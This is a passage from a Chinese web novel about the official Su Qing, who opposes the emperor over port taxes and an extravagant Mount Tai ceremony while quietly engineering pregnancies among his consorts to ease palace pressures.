等其他人退了,只有司务厅苏参政跟赵参政两人。 就听李尚书道:“接下来还有几批船,大概有多少税收。” 赵参政想说这哪知道,但下意识看了看苏大人。 果然,苏大人确实清楚:“六月初三出发这批商船,货物算是比较多的。” “到今年十二月份,顶多还有五批货船,所带的货物价值都不高。” “总共加起来,差不多有四十万的税收。” 这已经不错了! 赵参政脸上浮现惊喜。 可李尚书跟苏大人却不这么认为。 “先坐。”李尚书道,“坐着回话吧。” 苏参政赵参政两人坐下。 就知道这次谈话会持续很久。 李尚书也不问苏清怎么知道的。 海万州的情况,她最为了解,谁也越不过去。 所以他直接问:“按理说,不该这样少的。” 苏清心道。 如今除了海万州收税之外,其他海港监管还不严,那些不想交税的,自然另有去处。 肯定不来。 能有现在的数字,都是大家给面子了。 李尚书知道此事,却一定要问,必然是皇上施压。 苏清直接道:“暂时只有这么多。” “而且这笔钱还要用来修缮当地海港,用于当地的造船厂。” “若无前期这些投入,以后税收会越来越少。” 李尚书看向苏清。 她明知道皇上等着用钱。 不给就算了,怎么还要挪用。 但苏清的意思很明白。 想要顺利收税,就要有所投入。 舍不得孩子套不着狼啊。 此事传到皇上耳朵里,自然是不高兴的。 本来搞什么试点,就让他很不满意。 依照他看,天底下海港本就是朝廷的,既然从港口过,就该收税。 等朝廷富裕了,自然有钱修缮。 为何还要慢慢悠悠搞这些东西。 苏清一个女儿家,果然没什么魄力。 皇上开口道:“既然海万州市舶司已成,也没什么大问题,各地市舶司也可以开始筹备,没必要再等半年。” 此话一出,各地官府自然高兴。 但做海运的富商们脸色难看。 如果按照苏清的做法,大家都有个缓和的时间。 而且确实是在为他们考虑。 现在皇上一句话,强行要税,谁人不是满腹怨言。 一时间,沿海各地满腹牢骚。 苏清的名声更盛。 没办法,两人对比实在太过明显。 顾从斯倒是担心。 想来都是臣子当恶人,皇上当好人。 到苏清这,完全反着来。 只怕皇上会不高兴。 苏清怎么会不知道这个。 但她道:“放心,皇上最近有更高兴的事,管不到我。” 皇上一句话,其他十二个海港市舶司迅速成立。 依旧是吏部挑选官员送到各地。 不过这次,他们塞进去的人就更多了。 明显看中市舶司的利润,想从中捞一笔。 李尚书看到最后的名册,脸色都极为难看。 司务厅内,赵参政他们桌子上也放着这份名单。 郭高杰和卫温韦两人极为颓丧。 海万州的差事,他们自认做的还不错。 无论办事效率,还是清廉程度,都远超其他各部。 不说尽善尽美吧,但也在朝他们理想的方向去做。 可皇上一句话,又把一切打回原形。 都说什么能者上庸者下,根本不是这样。 如果没有苏大人带着他们去做海万州市舶司也就算了。 现在尝过好好办事的甜头,又让他们回到原点,这比杀了他们还要难受。 他们这身报国的本事。 真的一点用也没有吗。 苏清知道他们的颓丧,却没有多安慰。 他们经历的这些事,自己也经历过。 甚至不止他们这些事。 朝中文武百官,哪个年轻的时候,没有些报国之心。 但之后慢慢发现,自己所做的一切,不过是为了帝王的私心。 想明白这些,大家就各有各的盘算了。 本就不坚定的人,自然更不坚定。 户部司务厅众人的想法,皇上一概不知。 他半是怀疑,半是欣喜地看着眼前的药方。 是真的?! 梁公公劝阻道:“陛下,奴才也不知道这方子真不真。” “只是药谷村出来的,献给皇上您看看。” “说是那药谷村附近有个罗宁寺,新来的和尚打扫观音像时发现的。” 药谷村,罗宁寺,观音像。 皇上招来御医,让他们看看这方子。 御医来之前眼皮直跳。 先听梁公公说起这药方的由来,这才看方子的内容。 只说药谷村,不管皇上还是御医,其实都信了几分。 毕竟皇上一直用的益气养神丸就是出自这里。 这种神药,确实让皇上身体好了些。 故而多了几分信任。 更别说这方子的名字,求子方。 没什么花里胡哨的名字。 就是简简单单的求子方,却直击皇上,以及御医,甚至梁公公的内心。 皇上刚过三十五岁生辰,后宫佳丽无数,至今却没有子嗣。 不用别人说,皇上就知道是自己的问题 虽然嘴上不承认,可明眼人都看得出来。 私下里找了无数御医诊治,大家也没个法子。 只说皇上自幼身子弱,还要再调养。 但调养到今天也没个结果。 皇上自然越发着急,皇室当中也颇有微词。 甚至连太后都在说,铮王爷今年二十五,实在该说亲,不该拖延。 前些年晏铮州在外面打仗,一切都还好说。 现在回京之后,既不娶妻也不纳妾,房里一个人也没有。 已经有传言说,这是皇上的意思。 在皇上没有子嗣之前,他绝对不会有孩子。 也亏得铮王爷听话,否则谁都要说句不合理。 甚至有人说,皇上生不了,让铮王爷生岂不是极好。 反正一母同胞的兄弟。 也解决个难题。 但以皇上的心性怎么可能同意。 所以话题又绕到求子上。 去泰山封禅,也有求子的想法。 御医仔细看了看药方,确实是利于子嗣的方子。 但里面添了几味药材,分别是老鼠蝙蝠蚂蟥的灵脂,让他捉摸不透。 灵脂说的好听,其实就是这些动物的粪便干。 但粪便干作为药材也是常见的,又说不上什么。 御医想了想道:“此药方平和,并无大碍。” 皇上又召见几位信得过的御医,基本都是这个意见。 作为求子方来说,确实没问题的。 至于有没有用,那也不知道。 反正皇上吃了那么多方子,万一这个有用呢。 当天晚上,皇上便换了药方。 不过皇帝自己都没报什么希望。 皇上的目光阴冷。 若自己真无子嗣,只能从旁支里面挑。 至于晏铮州。 还是算了吧。 别人都行,除了他。 泰山封禅,祈求上苍保佑,似乎成了他唯一的出路。 他可是天子,上天的儿子。 也许那才是他的机会。 户部那边喊着国库没钱,其他各部也在要钱。 陶阁老顾从斯他们说什么封禅劳民伤财。 这些人到底明不明白,他都要没有子嗣了,跟这件事相比,其他的事都不重要。 子嗣。 他必须有自己的子嗣。 皇上想到几十个嫔妃,尤其是那几个宠妃。 全都是一群废物。 “给她们诊脉,吃汤药。” 还好各地市舶司已经建立。 想来很快就有银子入账。 等到明年,就可以去了。 各地市舶司官员到位。 当地官府本来极为高兴,但高兴没多久的,脸色就变得难看了。 这不是苏大人挑的人。 更不是苏大人的做派。 当地商人更是没一个配合的。 都赶在市舶司官员来之前,迅速出海。 别说登记了,压根不想搭理。 这让本就混乱的各地,变得一发不可收拾。 京城派来的市舶司官员见此,直接让本地守备派兵一一追查。 就不信了,难道这些人还敢抗税? 沿海民风本就与京中内地不同。 这样一来,难免起冲突。 尤其是闽地一带,直接跟守备军打起来。 那些家族甚至扬言,族内子弟要是死了,全家由家族供养,还有银子可以拿。 守备军那边自然没什么油水可捞。 一来二去,必然是本地人占上风。 等到七月中旬消息传来。 福建泉州一地港口,竟然被当地商人抢到手中,市舶司根本插不了手。 泉州自古就是重要的贸易港口,往来船只之多,利润之丰厚,自不必多说。 可直接占在当地商人手中,还是让大家没想到的。 消息传到京城,满朝文武震惊。 户部司务厅郭高杰挡不住的着急。 自己家乡出事,不着家才不可能。 尤其是当地尝到甜头,大概率不会松手。 这样一来,朝廷必然要派兵镇压。 这么打起来,必然是恶战一场。 七月二十早朝。 苏清也被特意点名参加这次朝会。 早朝要说的,自然是这场骚乱。 苏清站在户部侍郎后面,还看到最前面,却一言不发的晏铮州。 两人像是无意间对视一眼,很快撇开。 “陛下,此事一定要管,否则其他港口商人有样学样,就再难控制了。” “是啊,还请陛下派兵。” “泉州一带本就有守备军,只要调集人手过去,不是什么大事,你们何至于如此慌张。” “就是,这不过是个特殊案例,何必紧张呢。” “不如先派官员去谈谈,少动兵戈的好。” 前者建议早点镇压。 后者却明白陛下的想法,多一事不如少一事,省得再打仗。 谁都能想的到。 若说打仗,肯定又要让铮王爷出马。 皇上怎么可能同意。 放在之前,铮王爷还会主动请缨,现在似乎明白过来,依旧一言不发。 朝中一片混乱。 苏清的名字也被提起,希望排她去泉州市舶司。 各地商人,还是信她的。 当然了,要是晏铮州跟苏清两人一起去,是最好的了。 但苏清跟晏铮州都知道。 皇上不会同意的。 即使外面打起来,也不会让他们去做事。 为什么? 这几乎是很多人心照不宣的秘密。 本来大家以为,皇上忌惮苏清跟铮王爷的能力。 但渐渐发现,两人根本没有反心。 不说苏清了,她根本没有造反的潜力。 只说晏铮州,要说造反,没人比他更是合适了。 无论能力还是身份,他要是取而代之,朝中顶多动荡一阵,便很快恢复平静。 但人家真没这个心思,每次打完仗之后,该做什么就做什么。 皇上不让他娶亲,他甚至也不娶妻纳妾。 若还不信任他,那信任谁? 即使皇上嘴上不说,他也是知道晏铮州忠心的。 既如此,为何还是不用苏清他们两个? 明明没有任何威胁。 答案就是。 嫉妒。 这甚至是阁老们日渐琢磨出的道理。 皇上嫉妒晏铮州的体魄跟打仗本领。 嫉妒苏清的民心,以及治理国家的能力。 想明白这点,皇上的种种行为就很好理解了。 陶阁老,李尚书等人脸色难看。 直到皇上小心眼,但每次直面时,还是忍不住想骂人。 对于他们这些天之骄子来说,很难理解皇上这种想法。 尺有所长寸有所短。 都是极为正常的事。 为什么就不能接受臣子比他厉害呢。 再想到他们这些老臣子的处境,还有新科进士的张狂。 很多事情,似乎都有了答案。 朝中吵翻天。 最后的结果就是,让泉州附近的守备军去平乱,并让当地知州跟商人洽谈。 实在不行,朝廷会派兵过去。 户部司务厅。 郭高杰听到处置方法时,简直要被气死。 明明有正常答案,却置之不理。 这对吗? 市舶司的试点明明很顺畅。 为了快点拿到税银,就要强行推进,根本不顾苏大人的提醒。 现在出事了,也有人能收拾烂摊子,但还是不准。 郭高杰根本无法理解皇上的想法。 其实晏铮州也不能理解。 苏清倒是跟他好好解释一番。 七月的晚上,两人躺在一张椅子上乘凉。 “因为他害怕,还要面子,还自尊心强。”苏清分析道,“你没发现吗,登上皇位,靠的是母亲,打赢胜仗靠的是你,稳定后方,靠的是我。” 皇上其实是个聪明人,或者说有些小聪明。 所以能察觉到这些事。 可他心里并不承认,做出来的事才让人觉得矛盾。 看他怎么对太后,怎么对晏铮州,怎么对臣子的。 其实心里就有数了。 晏铮州没再说话,他还是不习惯背后说人。 苏清也习惯了,埋在晏铮州胸膛上笑:“对了,还有男人的能力。” “他一直没有子嗣,大概是他的心病。” 没有关系。 他很快就会有了。 算着日子,求子方吃了一个多月。 柳沁那边,应该也想明白了。 晏铮州习惯苏清说话越来越直白,按住她的手道:“别乱碰。” 为什么? 一定要成亲? 苏清挑眉,刚想说什么,就见晏铮州看向院子外面。 有人送消息过来。 沁贵人想见苏大人。 苏清立刻坐起来,眼神里满是兴奋。 不错,她就知道柳沁能想明白。 晏铮州有些失望,也坐起来,开口道:“我安排你们见面。” 三日后,沁贵人宫中。 柳沁坐立不安,眼睛忍不住颤抖。 苏大人之前的暗示是真的吗? 如果是她想的那样。 是不是太大胆了些。 但是再没有孩子,她也好,其他宫妃也好,日子只会更难。 每日不停的汤药,让后宫几个得宠的妃子看见药就想吐。 最近这段时间更甚。 她们几个之前还想争宠,如今全都面露难色。 尤其是最近吃的汤药。 说是太后寻来的偏方。 苏清听到这里,也有点疑惑:“什么偏方?” 她只给皇上找了啊。 没给妃子们找。 看来是太后跟皇帝自己着急,折腾宠妃们。 柳沁难以开口,最后咬牙道:“胎衣。” “皇帝竟然寻胎衣给我们吃。” 胎衣?! 小孩的胎盘。 柳沁想到那个滋味,瞬间又吐了一遭。 每次觉得皇帝已经够恶心的时候,他还会变得更加让人憎恶。 相比起来,把她卖掉的家人里,都比皇帝好些。 “我不想再吃了,我真的不想了。” “再吃下去,我一定会死的。” 这么想的,岂止柳沁一个宫妃。 齐内官看着哀求他的刘贵人,以及私下里找法子的陈妃。 默默给出苏清的答案。 皇帝不能生,又不是你们不能生,又不是别的男人不能生。 暗示已经给出去了。 不管后妃,还他们身后的家族,都会认真考虑。 只要有个孩子即可。 孩子是谁的,皇帝又不知道。 苏清在柳沁耳边道:“你觉得呢。” 第85章 纵然柳沁猜到苏清的意思。 此刻心脏还是跳得极快。 在此之前,她从未想过这件事。 但说实话,被家里卖到京城之前,她也没想过自己会有这样的经历啊。 她是真的不想过现在的日子。 如果能够改变。 她愿意去做。 “现在有五个宠妃在吃特制的汤药。”柳沁道,“皇上自己是不吃的,私下里也说恶心。” 这自然是柳沁身边人打听到的。 其他宠妃们也知道。 她们更明白,皇上太想要个孩子了。 如果一直没有孩子。 她们这些人的日子,就更加不好过。 现在太后都参与进来。 日子只会越来越难。 苏清心道,都在折腾前朝了,后宫也没放过。 苏清开口道:“他确实看重子嗣。甚至要去泰山祈福。想来你也听说泉州商人跟守备军的大战,就是为了逼税导致的。” 在柳沁面前,苏清没有隐瞒这些事。 可柳沁下意识道:“听说那边死了上百人,就因为他要去泰山?” 作为通民府出来的女子,沁贵人并非深闺大院里的贵族小姐。 她见识过战乱,见过流寇,也见过百姓流离失所的生活。 一想到皇上为了一己之私,就让百姓过上这样的日子。 柳沁心里的恶心就又上来了。 不过她多希望这股恶心是因为有了孩子。 只要有了孩子。 后宫的人,还有泉州的人,似乎就不用打仗了。 柳沁的想法更加坚定。 只是,这要怎么做? 苏清慢慢道:“不着急,你先挑挑。” 挑? 她? 苏清笑:“宫里那么多身材好的侍卫,勤政殿还有来往的进士,还算有学识。” “看你想法。” 柳沁满脸通红,但又带了期待。 这样,真的可以吗? 等苏清离开皇宫,柳沁还是睡不着,忍不住起身去园子走走。 附近巡逻的侍卫听到,立刻赶来,只见是沁贵人在月下读书。 趁着月色,柳沁打量这一队侍卫。 领头的还算周正,其他人身量也不错,只是长相一般。 “退下吧。”柳沁慢慢道。 以前没这样看过,今日这般打量又是不同的感觉。 只是这些人都不行。 再到勤政殿送汤药,殿内外都有候着的官员大臣。 从翰林院到三司六部,年轻的年老的,全都有。 以前的柳沁只是低头走过,今日却微不可查的打量起来。 “这个不行,脾气不大好。” “这个也不行,家里三妻四妾,上次还听人说过。” 柳沁心里吐槽到最后,发现她来进宫一年时间,竟然知道了这么多八卦。 她笑眯眯端上汤药,皇上都多问了句:“爱妃心情这般好。” 放在之前,沁贵人或许会带些害怕,今日不知为何,竟然不怕了:“是啊,七月天气凉爽,心情也好了。” “不过皇上衣裳单薄,要注意添衣。” 皇上打量沁贵人,见她神色比之前少了些忧愁,多了喜意,微微点头:“爱妃胆子大了些。” 是啊,不知道为什么,开始挑选合适的人之人,她发现宫里的人也没那么可怕。 等柳沁离开勤政殿,还是没发现合适的。 反正苏大人说不着急,那就再挑挑。 苏清确实不着急。 朝中万事都急不来。 但让苏清跟晏铮州都措不及防的是。 后宫。 还真传来好消息了。 柳沁刚接触了一个帮过她的年轻侍卫,两人私会还没几次。 就听到同为贵人的刘宠妃有喜了。 柳沁的汤勺掉落,神色有些说不清楚。 皇上他能生啊? 还是? 柳沁非常想见苏大人。 想问问怎么回事。 可苏清让她不要着急,并道:“这是好事。” 好事? 柳沁并不明白。 但后宫掀起的其他风波,解答了这个问题。 皇上听到刘贵人有喜了。 第一反应自然是高兴,但随后的动作,却让人胆战心惊。 皇上秘密派人去查。 看看宫内的防守情况,尤其是刘贵人最近都跟谁接触过,有无异常。 他在怀疑,刘贵人跟别人有染。 柳沁几次看到刘贵人,都觉得她神色慌张,看样子被吓得不轻。 一次深夜,皇上刚从对方宫中出来,后脚就喊了御医。 说是皇上一个劲的逼问,吓得刘贵人差点流产。 刘家在京中有些势力,自然十分气恼,就差指着皇上的鼻子骂。 毕竟这种事情,皇上也不能说明自己的担心,查证也是秘密进行,只能挨骂。 随后又让刘贵人母亲进宫陪伴,这才相安无事。 皇上竟然疑心至此。 怪不得苏大人说这是好事。 如果是她先有孕,岂不是也要被翻来覆去查证。 柳沁一边安抚自己,一边还要安抚那个年轻侍卫。 让他不要担心,最近先别见面。 对方既担心事情败落,也担心沁贵人被发现,自然格外着急。 好在侍卫长给了颗定心丸。 刘贵人那边什么也没查到。 只是后宫气氛依旧严峻。 皇上疑心病本就严重,没有孩子多年。 他依旧怀疑刘贵人的身孕。 一直到八月初九。 御医照常去几个宠妃宫中诊脉。 柳沁看着御医惊喜万分的表情,就知道好事来了。 皇帝寝殿内。 他刚吃了今日的汤药。 就听到太监报来好消息。 皇上先是不可置信,随后狂喜。 第一句话竟是:“朕错怪了刘贵人!” 已经在户部官署办差的苏清,嘴角莫名弯了弯。 想笑吧,又有点不能笑。 一个妃子怀孕,或许有问题。 现在两个人一起,总要相信是自己的能力吧。 想来梁公公已经在提求子方的事了。 能产出神药的药谷村。 出现一方求子药,又有什么不对的。 再大的疑心病也能治好了。 这本就是苏清布置下的连环计。 先让皇帝吃求子药,然后安排后妃有孕。 只让柳沁一人有孕,实在太过显眼,所以也暗示了其他后妃。 唯一没想到的是,刘家有了想法之后,动作极快,做事也干净,皇上什么也没发现。 只能说这些世家的胆子,不比她小。 现在好了,几方合力。 总算帮皇上弄到孩子了。 他这该高兴了吧。 苏清还看了看晏铮州的脸色,见他没什么表情,笑道:“我要看看他,这还有什么理由奢靡浪费。” 晏铮州叹口气。 怎么会没理由呢,理由可太多了。 苏清跟晏铮州看的明白。 朝中甚至民间不少人,还对皇上抱有希望。 现在有了子嗣,可以不再压榨百姓,不再急功近利吗? 答案是,皇上又有了新理由,觉得后宫里有两个宫妃有喜,实在是上天恩赐。 还是要去祭泰山。 说白了,就是觉得自己功绩足够大。 泰山一定要去,一定要彰显自己的能力。 这跟理由借口都没有关系,只跟他这个人的性格有关。 这下,就连太后都出来劝。 今年各地粮税并不乐观,泉州港口的事情也影响颇大。 这个时候强行去泰山祭祀,于国于民都不好。 就算要去,也要再等等。 太后道:“苏清也说,等到各地港口有了稳定收入,再去泰山也不迟。” “这些年的先安抚民生,让百姓休养生息才是。” 皇上紧紧盯着太后。 他今年三十五。 不是二十五,更不是十五。 太后不应该多嘴的。 太后见他脸色越来越难看,冷笑道:“皇帝,别忘了你这位置怎么来的。” “哀家始终是你母亲。” “没有哀家,怎么会有你现在。” “够了!”皇上直接道:“太后,朕登基已经七年之久,朕会做这个皇帝。” “会做?”太后火气也上来,“先不说金陵之行,只说最近泉州的事情,你就操之过急。” 眼看母亲又要指手画脚,皇上怎么能忍。 母子两个这次争吵之激烈,朝野内外都知道了。 也让更多人对皇帝失望。 最近这几年里,皇上自私的性格,已然显露无疑。 尤其是去年会试之后,朝中安插了不少他的人手,愈发不能听劝。 想来全天下只有刘贵人,沁贵人过的还算舒心。 她们是整个皇宫里最金贵的人。 不少人都说,她们谁先生下皇子,谁就能成为贵妃,甚至皇后。 但奇怪的是,她们双方井水不犯河水。 彼此见面时,还有种诡异的和谐。 等皇上问起来,她们都想给皇上诞下孩子,无论谁能生出皇子,都是妃子们的福气。 至于真实原因如何。 刘贵人跟沁贵人心知肚明。 她们两个做的事都是死罪,若有一方被揭穿,另一方绝对不会忍的。 与其同归于尽,不如一起隐瞒。 反正她们不想被折磨了。 顺昌国后宫有着诡异的和谐。 朝堂这边,还在为国库空虚发愁。 每年八九月份,正是户部最忙的时候。 下面一十三省的税收。 再加上海港的事,那件事都极为重要。 今年各地本来就欠收。 兵部要钱打仗。 礼部工部要钱修皇陵。 吏部催促新设市舶司的费用。 这些就够头疼的了。 皇上还惦记着去泰山的事。 这事如果真答应了。 那就不是几十万两银子能解决的。 现代有钱人出行,还要坐专机。 何况古代帝王。 从出行人手,到安全准备,再到去泰山这一路的道路修缮,周围房屋田地修整。 以及到了泰山之后的衣食住行。 甚至还要重新修缮泰山的道路,方便抬着皇上上山。 泰山的庙宇更要翻新,不能让皇上看着不舒服。 最后的祭祀所用牛羊祭祀各礼,想想就是流水般的银子撒出去。 都去泰山了,就算太后她老人家不去。 那也要带上其他王公大臣。 费用直接翻倍。 所以不管阁老还是尚书等人,基本都是拒绝的。 以前他们还压得住。 让皇上以大局为重。 最近几年,皇上手里权势更盛,他们这些老臣子根本劝不动。 为此皇帝都能跟太后起冲突,何况他们。 现在后宫有喜,本以为皇上终于能放下想法。 岂料更加来劲。 似乎觉得,自己既有朝中心腹,也有未来的继承人。 做事愈发独断。 说到底,皇上想要继承人,并非真的想要什么孩子。 只是想让自己地位更加稳固。 就跟那些拍他马屁的新科进士一样。 不管他们能力如何。 只要能让他的位置更稳,那就没问题。 户部尚书开口道:“大家都说说,此时应该怎么办。” 说着,尚书看向苏清。 不怪大家看她,主要是今年户部统计各地收入。 全国三四十州府,多数地方税收情况都不好。 唯有广乐府皋青州通民府有所增长。 这三地跟她的关系显而易见。 这些地方的同乡会,隐隐以苏清为首。 甚至连广乐府附近的山阳府,石纹州,情况也不错。 而这两地长官,跟苏清明摆着关系极好。 再有十二个海港中,唯有稳步推进的海万州不仅不添乱,还有不错的收入。 这些地方,在一片混乱的顺昌国里,显得太突出了。 即便是户部众人,也要看苏清的意思。 还是那句话。 如果顺昌国每个地方,都如苏清治理过的地方一般。 户部就不用那么发愁了。 苏清自然不会在这种时候退缩,直接道:“反正泰山肯定不能去,其他各部的银钱还能商量。” 苏清说出大家心声,可没人了敢接话。 因为这件事,是皇上最上心。 还是她身后的郭高杰道:“没错,各地兵祸不断,哪有银子去泰山。” 这是福建出来的官员,泉州兵祸就出在福建。 他开口,大家都不意外。 至于其他部门的文书。 在苏清看来,除了兵部有理之外,其他都要等等。 可她没这么说,反而又拿出几个地方的奏章:“相比起来,这些地方才需要银子。” 来宾府洪涝,彬州蝗虫灾害。 黄河沿海几处堤坝报急,这些问题远比去泰山,修皇陵重要。 这也是各地粮食减产的原因。 要说大小灾祸,其实每年都有,古今如此。 只是现代的一部分科技发展,以及科学技术手段,可以提前预防,以及应对大大小小天灾。 但在古代,连着几天大雨,就能造成一个县乃至数个县减产。 很多百姓都会因此返贫。 所以丰年备荒应该是常态。 每年处理这些大大小小灾祸也应该是常态。 这就是臣子劝李世民说的那句话:“备预不虞,为国常道。” 事先预备意外之事,是治理国家的常态。 户部的讨论传到外面,只让人感觉到割裂。 一面是皇上贪功享乐。 一面是女官力挽狂澜。 两者不对比就算了。 对比起来,怎么不让人唏嘘。 也有明眼人看出来。 苏清这样做,岂不是公开跟皇上作对。 要知道皇上本来就对她不满。 她现在又带头反对泰山祭祀。 岂不是正触皇上霉头。 如此大胆,还要不要命了。 户部尚书李大人,似乎也顺理成章把苏清推出来。 甚至让人把苏清的想法写成奏章递给皇上。 对此,苏清手下郭高杰还有些不满。 赵参政也是这个意思。 颇有些把苏大人推出去当靶子的意思。 身在翰林院的顾从斯看到奏章第一时间,并未送到勤政殿,而是压下不说,直接来找苏清。 “户部内部会议传到外面,已经够奇怪的了。” “而且句句都以你为中心,皇上必然知道。” “现在再以你的名义递上奏章,实在不妥。”顾从斯句句真心实意,“不能再跟皇上作对了。” 苏清没来京城的时候,就屡次跟皇上对着干。 来了京城之后,也是事事不如意的。 这样下去,太危险了。 “我知道你的想法,但凡事要徐徐图之。”顾从斯道。 徐徐图之? 苏清忽然问道:“顾大人还记得永晟元年的事吗。” 永晟元年。 苏清刚做南江县主事时。 顾从斯怎么会不记得。 当时的苏清先买张大户家的粮,再带着人去“借”他家的粮。 她的果断跟手腕,自己记忆犹新。 苏清认真道:“那位,不过是又一个张大户。” “顾从斯你很聪明的,不要带着上位者的滤镜看他。” “有些事情,其实没那么复杂。” 苏清说的太过笃定,太过自信:“把奏章递上去,等着看戏吧。” “我不怕站在风口浪尖。” 更不介意当靶子。 所有人都往后退,也太没意思了。 顾从斯见苏清如此笃定,只好递上奏章。 不出意料。 皇上对苏清的恨意已经到达极致。 这样忤逆的臣子,怎么还能留她。 都说了,她不应该当官的。 女子就不能做官! “罢官,必须罢官。”皇上咬牙道,“以后女子都不许做官。” 梁公公叹口气。 苏大人还是玩脱了。 把皇上气成这样,怎么能绕得了她啊。 但另一位侍笔翰林,从桌子上拿出一本奏章:“陛下,您先看看这个。” 海万州的奏章。 皇上懒得看,让他念出来。 具体来讲,是海万州武器作坊的新紧张。 说是他们根据苏大人的指点,设计出来一种新型船只。 这种船只不仅巨大无比,装货量极大,运行速度还快。 用这样的船只进行海运,收入可以提高四到五倍。 当然,现在还只是设想。 如果想要做成,还要苏大人给主意。 只要新型船只真的造出来。 海万州港口一年的利润,就能高达三百万两税银。 这份奏章就在最底下。 若不是这个海万州籍贯的翰林找出来了,不知道多久才能看到。 但上面的内容,却让皇上无比激动。 新型船只。 速度快,装货多。 说是依托了广乐府炼铁新技术,从而有的改动。 大概明年能完工。 早说苏清在做这事,他也不至于那么生气啊。 方才对苏清有多恨,此刻就有多高兴。 她这般做法,倒是让皇上想到晏铮州。 两人的性格竟然有些像。 都是一心做事,却不会说话的。 他们两个性格要是软一些,多求求他,哪还有这么多误会。 看着皇上一会恼怒,一会兴奋。 梁公公等人低着头。 即便如两个这般爱钱的人,在皇上这里都算不得什么。 至于罢苏清的官? 肯定不会再提了。 但赈灾等事,也不用再提。 朝中本来就艰难,让各地自救吧。 不少等着苏清落难的同僚,此刻全都不敢相信自己的耳朵。 苏清没事了?! 她可是跟皇上对着干啊。 这都能没事? 虽然她想做的事并未促成。 可能在这种事上脱身,就能看出她的能力。 只有少数人发现。 朝中似乎有了三股势力。 一股忠于皇上,溜须拍马。 一派保持中立,沉默做着自己的事。 还有一部分,竟然听从苏清的命令。 而这部分人,个个都抱着为国为民的念头。 甚至还把苏清那句守令爱民挂在嘴边。 一场场难关,并未把苏清拉下马。 反而让她身边聚了不少志同道合的人。 成了一股不可小觑的力量。 她是站在风口浪尖。 但也能把握这些机会。 说她莽撞也好,说她兵行险着也行。 有一点却是没问题的。 她在京城的位置,并非其他人以为的那样脆弱。 这里面自然也有隐患。 “皇上到底不喜她。” “等新型船只出来,那她就没用了。” “新船什么时候出来啊。” “听说还要七八个月。” 那也巧了。 后宫两个妃子的孩子,差不多也是七八个月后出生。 到时候顺昌国岂不是双喜临门。 不知那时,又会发生什么事。 苏清这般张扬,真担心她的安全。 京城暗潮涌动。 只等着八个月后,事情会有怎样变化。 可海万州武器作坊门前,已经挤满人了。 要不是刘绿兰提前调来守备军,只怕早就有人闯进来。 新船! 航行速度快! 装的货物还多! 这是什么船?! 管它是什么船! 他们都要买! 说什么也要买啊! 甚至还在跟当地官兵小规模打仗的泉州商户,都派人过来打听。 他们也想买啊。 如果能买到这样的船,他们可以在港口登记名册,按时交税。 外地船商都这样。 本地石家跟隔壁的叶山鸣,肯定更加心急。 苏大人真是留了个好手,怪不得她把心腹留下来! 也不提前说一声,搞的大家这样慌张。 一想到八个月后,就有新船出现。 海万州便无比高兴。 看看,还是苏大人的安排妥当。 还是苏大人经手的市舶司让人安心。 说句不好听的。 如果天下万事,都让苏大人管就好了。 不比什么皇帝厉害吗? 皇上也是,这般有能力的人,却不重用。 他到底怎么想的啊。 发出同样感叹的,不止海万州一个地方。 许多遭灾了的地方,都有着同样的想法。 为什么不听苏大人的。 为什么不赈灾。 为什么让明知有问题却不管。 很多地方百姓,就像当初的通民府一样。 日子真的过不下去了。 比如花景明的任地漳州。 这里再一次爆发动乱。 当地官员实在压不下去,只能再次上报朝廷。 花景明灰头土脸,被知州痛骂一顿:“连这点事都干不好,送上去的奏章没回应,让你去压住百姓,也做不到。要你有何用?!” “再收不上税,上面不会给好果子吃的。” 花景明有心想说。 这些不是普通百姓,而是当地乡绅豪强组织起来的势力,没那么容易镇压。 可这话却像堵在嗓子眼。 他想起苏清的手腕。 当时她对付花家,是不是跟他现在想的一样。 原来做了地方官,才知道这些乡绅是如何盘踞一方为祸百姓。 更知道这些乡绅怎么哄骗佃户为他们卖命,还好似恩人一般。 知州骂够了,让花景明滚下去。 花景明身边长随想要安慰,被他制止。 “给苏大人写信。” 花景明道:“请教苏大人,这里的恶霸要如何解决。” 只有苏清。 能靠得住的,只有苏大人了。 85-90 第86章 苏清并未让花景明失望。 她不仅给出解决之法,甚至给了几个名字。 都是他所在地方官员的情况,以及当地恶霸的后台的谁。 有了这些东西后,再帮他联系本地守备。 花景明一边诧异苏清跟守备怎么认识,细细问过才知道。 当年京城广乐府两地平乱结束。 参与战事的将士得了军功,已然在各地任职。 眼前这个守备,就是南江县伤兵疗养院的一员。 至今提起来,还不忘苏大人救命之恩。 这些年这么多事。 谁靠谱,谁对他们好,大家心里都有数。 花景明也是心里有数的人之一。 所以他同样找了苏大人帮忙。 守备还道:“早知道你也认识苏大人,我也不会吝啬兵马。” “但你也知道,朝廷的粮饷给的不及时,我们也没办法。” “也罢,就帮这一次。” 花景明忽然道:“谁说没有粮饷。” “只要把这些恶霸的罪定了,不仅有税收,还有粮饷。” 但这恶霸的什么什么亲戚在京城做官啊。 守备心道。 花景明又看了看守备。 苏大人也在京城做官。 她给出这些人的后台,就是让他们放手去干。 她在京城,何尝不是自己的后台。 这样的事情,不止发生在漳州。 许多想做事的官员,主动联系到京城的苏大人。 都说物以类聚人以群分。 这话倒也没错。 苏清名声在外,但凡有些想法的官员,都会主动联系她。 而苏清也不吝啬帮助。 至于京城错综复杂的关系。 不用担心。 天塌了。 有苏大人给你们顶着。 如今人人都知道,皇上想动苏清,都要等到新船建成下水,何况其他人。 顺昌国京城,竟然形成一种诡异的默契。 当然,不少人也为苏大人捏把汗。 她锋芒太露。 如此手腕,迟早是会被皇上清算的。 她就不害怕海万州新船造好,自己就完蛋吗? 还是说。 她知道,但她还要做? 虽万人吾往矣? 不少人都猜不透苏清的想法。 觉得她在找事,又觉得她有着一腔勇气。 但不管怎么样,如今的苏清在京城中,已然是不可忽视的势力。 她那小院来往宾客络绎不绝。 无数人等着拜见。 若有真才实学的,还真能安排,若为沽名钓誉的,直接被赶走。 故而敬仰她的,恨她的,几乎可以平分秋色。 前者对苏大人无比崇拜。 后者恨不得她立刻去死。 宫里倒是又传出来好消息。 说是有一个妃子有孕。 反正皇上已经把南江县药谷村的求子方视若珍宝。 觉得都是求子方的效果。 对刘贵人,沁贵人的怀疑,彻底消散。 苏清表情古怪。 等晏铮州晚上来的时候,她还忍不住问:“皇宫的守卫,是不是太松懈了些?” 晏铮州当然知道她在问什么,无奈道:“又不是我负责的。” 皇宫这种地方,早就不是晏铮州负责了。 尤其从海万州回来后,他几乎销声匿迹,皇上也不主动过问。 现在负责皇宫安危的,是皇帝的亲信。 而他的亲信什么样子,相比大家都明白。 当然了,晏铮州对皇宫守卫依旧有掌握,这是毋庸置疑的。 那个妃子的情况,他也是知晓的。 